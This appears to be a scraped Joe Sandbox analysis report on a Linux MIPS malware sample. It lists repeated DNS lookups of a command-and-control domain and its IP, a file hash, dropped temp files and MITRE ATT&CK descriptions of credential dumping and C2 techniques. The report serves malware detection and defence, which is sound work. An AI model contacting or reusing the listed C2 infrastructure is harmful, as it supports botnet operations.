Oct 6, 2023 10:09:19.123282909 CEST	8.8.8.8	192.168.2.15	0xe695	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:26.964293957 CEST	8.8.8.8	192.168.2.15	0x1060	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:29.815244913 CEST	8.8.8.8	192.168.2.15	0xc140	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:35.663343906 CEST	8.8.8.8	192.168.2.15	0xa953	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:42.516798019 CEST	8.8.8.8	192.168.2.15	0xfb6f	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:46.364753008 CEST	8.8.8.8	192.168.2.15	0x2ef6	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:09:51.219952106 CEST	8.8.8.8	192.168.2.15	0x1a35	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:02.081732988 CEST	8.8.8.8	192.168.2.15	0x7106	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:06.936382055 CEST	8.8.8.8	192.168.2.15	0x9e93	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:09.780688047 CEST	8.8.8.8	192.168.2.15	0x2957	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:11.628388882 CEST	8.8.8.8	192.168.2.15	0x3ead	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:15.483134985 CEST	8.8.8.8	192.168.2.15	0xf7be	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:21.336232901 CEST	8.8.8.8	192.168.2.15	0x1f5e	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:30.189632893 CEST	8.8.8.8	192.168.2.15	0x206d	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:34.032215118 CEST	8.8.8.8	192.168.2.15	0x3090	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:37.879422903 CEST	8.8.8.8	192.168.2.15	0x7bf4	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:48.727857113 CEST	8.8.8.8	192.168.2.15	0x14b4	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:55.588440895 CEST	8.8.8.8	192.168.2.15	0xbad2	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:10:58.442336082 CEST	8.8.8.8	192.168.2.15	0x3bc4	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false
Oct 6, 2023 10:11:09.289434910 CEST	8.8.8.8	192.168.2.15	0x885c	No error (0)	cnc.condi.cloud	103.67.197.87	A (IP address)	IN (0x0001)	false

Start time (UTC):	08:09:08
Start date (UTC):	06/10/2023
Path:	/tmp/mips.elf
Arguments:	/tmp/mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mips.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.02bSxQ (deleted)

/tmp/qemu-open.07Y2bO (deleted)

/tmp/qemu-open.08MePO (deleted)

/tmp/qemu-open.08TgkN (deleted)

/tmp/qemu-open.0DDMXN (deleted)

/tmp/qemu-open.0E3opP (deleted)

/tmp/qemu-open.0EKS6M (deleted)

/tmp/qemu-open.0Fj4GN (deleted)

/tmp/qemu-open.0GkGhR (deleted)

/tmp/qemu-open.0J7xIP (deleted)

/tmp/qemu-open.0O5MjP (deleted)

/tmp/qemu-open.0R02DN (deleted)

/tmp/qemu-open.0SMCwQ (deleted)

/tmp/qemu-open.0Uh5pQ (deleted)

/tmp/qemu-open.0aSOpP (deleted)

/tmp/qemu-open.0bcwoN (deleted)

/tmp/qemu-open.0btztP (deleted)

/tmp/qemu-open.0clxZN (deleted)

/tmp/qemu-open.0hmnRQ (deleted)

/tmp/qemu-open.0twfxQ (deleted)

/tmp/qemu-open.0vZOCQ (deleted)

/tmp/qemu-open.0xF9oQ (deleted)

/tmp/qemu-open.10tVUQ (deleted)

/tmp/qemu-open.17B4sQ (deleted)

/tmp/qemu-open.18MGlN (deleted)

/tmp/qemu-open.1AG29Q (deleted)

Linux Analysis Report
mips.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre